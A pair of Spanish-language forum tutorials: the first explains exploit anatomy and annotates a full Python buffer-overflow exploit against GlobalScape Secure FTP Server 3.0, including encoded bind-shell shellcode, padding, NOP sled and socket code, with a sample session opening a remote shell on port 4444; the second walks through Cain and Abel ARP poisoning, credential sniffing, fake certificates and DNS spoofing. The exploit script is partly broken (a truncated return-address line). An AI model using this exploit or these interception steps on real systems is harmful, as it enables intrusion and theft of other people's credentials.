Para ir completando esta linda referencia que estamos haciendo entre todos voy a explicar resumidamente que es un exploit y las partes que lo componen que aunque parezca basico muchos tienen una idea errada o no saben como es la arquitectura de un exploit.



Que significa exploit?
Etimologicamente exploit viene del ingles explotar; explotar se aplica al sentido de aprovecharse de una falla/debilidad en una pieza de software/firmware para utilizarla para otros propositos. Y un exploit es la tecnica que se usa para explotar esa falla o debilidad.
Tecnicamente un exploit es generalmente una aplicacion compuesta de varias partes programado en un lenguaje adecuado para tomar tomar esa falla.

Como esta compuesto un exploit?
Como vimos antes estas fallas que tienen los programas necesitan una tecnica para llegar a ellas y es por eso que nuestro exploit necesita primero hacer una inicializacion para preparar todo, un ejemplo de inicializacion puede ser por ejemplo para explotar un overflow en un comando FTP, debemos primero conectarnos, autenticarnos y recien despues de eso podemos esperar que el FTP acepte un comando.
La otra parte es la payload.

Una payload es un conjunto de datos que son los que finalmente se usaran para explotar la falla; esta payload consta de varias partes, principalmente de una shellcode , un NOP sled y otros datos que si seguimos con el ejemplo del FTP seria el comando con el argumento.



Que es un NOP sled?
Cuando explotamos un proceso manipulamos el puntero de instrucciones (el que dice cual es la siguiente instruccion a ejecutra, EIP en x86), pero muchas veces existe un margen de error que podria hacer fallar nuestra shellcode debido a que tal vez el EIP apunta a la mitad de la shellcode y no al principio.
Entonces lo que se hace es agregar una cadena de instrucciones  de un byte (para que no fallen si caen en la mitad de la instruccion) que no afecten mucho el entorno. Es por eso que se le dice NOP sled, es una serie de instrucciones NOP (opcode: 0x90) de un determinado tamano que se agrega antes de la shellcode y se calcula que el EIP apunte a alguna parte del sled.
Actualmente el NOP sled clasico es detectado por firewalls y debemos usar otras instrucciones similares que ocupen un byte (por ejemplo la instruccion push para registros).

Basta de teoria...
Veamos un tipico exploit hecho en Python para explotar la recepcion de comandos en un server FTP; presten atencion a los comentarios que deje explicando cada parte

#!/usr/bin/python

# En todo exploit tenemos un hermoso banner donde deja creditos, dice como funciona y le manda saludos a sus amigos
, familiares, etc.
# No es menor cosa!

###############################################
# GlobalScape Secure FTP Server Buffer Overflow
# Coded by mati@see-security.com
# [url]http://www.see-security.com[/url]
# [url]http://www.hackingdefined.com/exploits/Globalscape30.pdf[/url]
###############################################
# EIP Overwrite
# root@[muts]# ./globalscape-3.0-ftp.py
#
# [+] Evil GlobalFTP 3.0 Secure Server Exploit
# [+] Coded by mati [at] see-security [dot] com
# [+] 220 GlobalSCAPE Secure FTP Server (v. 3.0) * UNREGISTERED COPY *
#
# [+] Sending Username
# [+] Sending Password
# [+] Sending evil buffer
# [+] Connect to port 4444 on victim Machine!
#
# root@[muts]# nc -v 192.168.1.153 4444
# [192.168.1.153] 4444 (?) open
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985-2000 Microsoft Corp.
#
# C:\WINNT\system32>

import socket
import struct
import time

#Aca tenemos la shellcode que usa, en este caso es una que genero con Metasploit y es una bind_shell codificada 
#alfanumericamente para no tener problemas de bad chars ya que el protocolo FTP es bastante exigente al igual 
que HTTP y otros mas.

# win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum 
# [url]http://metasploit.com[/url] */
sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
sc +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
sc +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
sc +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
sc +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
sc +="\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
sc +="\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47"
sc +="\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58"
sc +="\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38"
sc +="\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a"
sc +="\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30"
sc +="\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57"
sc +="\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58"
sc +="\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30"
sc +="\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c"
sc +="\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44"
sc +="\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50"
sc +="\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f"
sc +="\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33"
sc +="\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f"
sc +="\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f"
sc +="\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50"
sc +="\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d"
sc +="\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45"
sc +="\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f"
sc +="\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38"
sc +="\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55"
sc +="\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d"
sc +="\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d"
sc +="\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38"
sc +="\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35"
sc +="\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37"
sc +="\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56"
sc +="\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56"
sc +="\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54"
sc +="\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54"
sc +="\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53"
sc +="\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51"
sc +="\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35"
sc +="\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35"
sc +="\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c"
sc +="\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f"
sc +="\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f"
sc +="\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e"
sc +="\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a"

# Aqui una de las partes mas importantes, la generacion de la payload:

#Empezamos con un relleno de buffer, es lo que necesitamos para llegar a producir el oveflow.
payload   = '\x41'*2043

#Luego agregamos la direccion de retorno, en Windows esto regresara a una instruccion que nos 
permitira llamar a nuestra shellcode.
#todo se trata de manipular el puntero de instrucciones (EIP en x86). Generalmente en Windows es pop;pop;ret (SEH).
payload += struct.pack("
#Agregamos el famoso NOP sled, esto lo que hace es agregar una larga cadena (en este caso 36) de instrucciones NOP.
payload += '\x90'*36

#Finalmente agregamos la shellcode a la payload.
payload += sc

#Otra parte importante es la preparacion del entorno para poder mandar la payload.
#en este caso es un server FTP...
try:
	#Primero nos conectamos al server
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	print "\n[+] Evil GlobalFTP 3.0 Secure Server Exploit"
	print "[+] Coded by muts"
	connect=s.connect(('192.168.1.153',21))

	#recibimos el banner de bienvenida de FTP
	d=s.recv(1024)
	print "[+] " +d
	print "[+] Sending Username"
	time.sleep(1)

	#Nos autenticamos en el server enviando usuario y password
	s.send('USER muts\r\n')
	s.recv(1024)
	print "[+] Sending Password"
	time.sleep(1)
	s.send('PASS muts\r\n')
	s.recv(1024)
	print "[+] Sending evil buffer"
	time.sleep(1)

	#y finalmente enviamos la payload que preparamos anteriormente, fijense que despues de la payload envia '\r\n' 
para terminar el comando.
	s.send(payload+'r\n')
	print "[+] Connect to port 4444 on victim Machine!\n"
except:
	print "Can't connect to ftp"
 
 Esto es para comprender como es un exploit por dentro y empezar a entender que son esas cadenas de caracteres que aparecen y como es que llegan a tomar el control de un proceso.

Ya saben que si tienen dudas o si algo no se entiende pregunten ;-) .

Saludos

[Tutorial] Cain y Abel

El Ataque

Bien pues el proceso que llevaremos a cabo, trata de un ataque MITM (Man in the Middle, o lo que es lo mismo, hombre en el medio), consiste en “interponerse entre dos partes”, en este caso asi






Bien pues el lo que vamos hacer con este sniffer, hacer que los datos que circulan en la red pasen por nuestra interfaz de red para ser capturados

 
1º Técnica [ARP Poisoning]
 

Me dice wikipedia: ARP Spoofing, también conocido como ARP Poisoning o ARP Poison Routing, es una técnica usada para infiltrarse en una red Ethernet conmutada (basada en switch y no en hubs), que puede permitir al atacante husmear paquetes de datos en la LAN (red de área local), modificar el tráfico, o incluso detener el tráfico (conocido como DoS: Denegación de Servicio).





Capturando Datos

Para poder empezar a trabajar con Cain y Abel, hemos de deirigirno a la pestaña Sniffer> y en esta seleccionar la interfaz de red a utilizar, en mi caso esta:
 



Pasamos a la pestaña , en la cual podemos cambiar la dirección MAC de la interfaz de red, si es que no lo hemos hecho con antelación, para ello, hacen clic en la chincheta , vean como quedaría:



Bien, ahora vamos a “iniciar el sniffer”, para ello nos dirigimos a la chincheta que indico a continuación:

Pasamos a la chincheta y hacemos clic con el en esa misma ventana y hacemos clic en y a continuación, seleccionamos
y también marcamos la pestaña




Ahora en la pestaña inferior con nombre , hacemos clic. Debemos marcar el icono que podemos observar en la parte de arriba con el símbolo:
+
5.1.Ahora vamos a “incluir” el router y el host/s a los  cuales vamos a capturar los datos [ PC  <----> PC Local <----> Router], para ello, primero el router y a la izquierda aparecerán las direcciones IP a las cuales se le va a realizar el MITM, vean la siguiente imagen:



  Activamos “el ARP”, para ello activamos la casilla que se muestra a continuación:





Ya podemos observar en la parte inferior los información de la captura, pero para comprobar mas sobre estas, nos dirigimos a la pestaña inferior , en la cual podremos observar la dirección IP de la Web que visito la víctima, dirección URL de la misma, en algunos casos Usser/Pass, etc, vean:

Nota: Datos que son imprescindible analizarlos para los siguientes puntos.

Analizando Los Datos Capturados

Como vimos anteriormente en la pestaña podíamos observar algunos campos capturados, e aquí un ejemplo, si ambos campos (User-Pass). Para ver los datos capturados en el protocolo HTTPS, que es el protocolo seguro de HTTP, solo tendremos que pasar estos archivos a extensión .txt y revisar el contenido con paciencia, si estos encuentran encriptados, pasaremos al puntos



Analizando certificados

[En construcción] Ahora aprenderenderemos a crackear los certificados digitales capturados, y asi obtener el contenido de estos.
Asi se muestra a la víctima un certificado falso, en caso de aceptarlo !Bingo! nuevo objetivo.  Aqui vemos los certificados capturados, vamos a ver como analizarlos:



Desencriptando Archivos

Bien, en caso de encontramos con datos encriptados, le daremos uso al cracker, a diferencia del apartado anterior en este caso, los datos se encuentran encriptados, por tanto utilizaremos el cracker para obtener los datos en claro, para ello, nos dirigimos al apartado , en el cual seleccionaremos en el apartado de la izquierda “que desencriptar”, se supone que hay capturas, u seguidamente en el apartado de la izquierda “Archivo/s a desencriptar” y por último, seleccionar como desencriptarlo, ataque diccionario, brute force, etc.




Nota: Útil para algunos aspectos “Bugs y Exploits” XD.
 
2º Técnica [DNS Spoofing]

Me dice wikipedia: DNS Spoofing: Suplantación de identidad por nombre de dominio. Se trata del falseamiento de una relación "Nombre de dominio-IP" ante una consulta de resolución de nombre, es decir, resolver con una dirección IP falsa un cierto nombre DNS o viceversa. Esto se consigue falseando las entradas de la relación Nombre de dominio-IP de un servidor DNS, mediante alguna vulnerabilidad del servidor en concreto o por su confianza hacia servidores poco fiables. Las entradas falseadas de un servidor DNS son susceptibles de infectar (envenenar) el caché DNS de otro servidor diferente (DNS Poisoning).

Debemos estar con el “Sniffer y ARP Start”, es decir, husmeando en la red. Bien, pues nos situamos sobre la pestaña superior y dentro de esta en la parte inferior en , ahora debemos situarnos sobre la casilla y hacer los siguiente:




Se refiere a la Web origen, la que queremos direccionar.
Indica la dirección IP de la Web destino.

Nota: Para comprobar la dirreción IP de una Web, hacen ping a esta:

ping www.web.com

Nota: Cain y Abel también se puede utilizar para crackear Password de redes inalambricas con cifrado WPA/WPA2.
 
¿Como protegerse ante ataques MITM?

Utilzar herramientas que utiicen el protocolo SSH, y de esta forma establecer mas seguridad, herramienta para ello es, Putty ¿Qué es Putty? Me dice Wikipedia: PuTTY es un cliente SSH, Telnet, rlogin, y TCP raw con licencia libre. Disponible originalmente sólo para Windows, ahora también está disponible en varias plataformas Unix, y se está desarrollando la versión para Mac OS clásico y Mac OS X. Otra gente ha contribuido con versiones no oficiales para otras plataformas, tales como Symbian para teléfonos móviles. Es software beta escrito y mantenido principalmente por Simon Tatham, open source y licenciado bajo la Licencia MIT.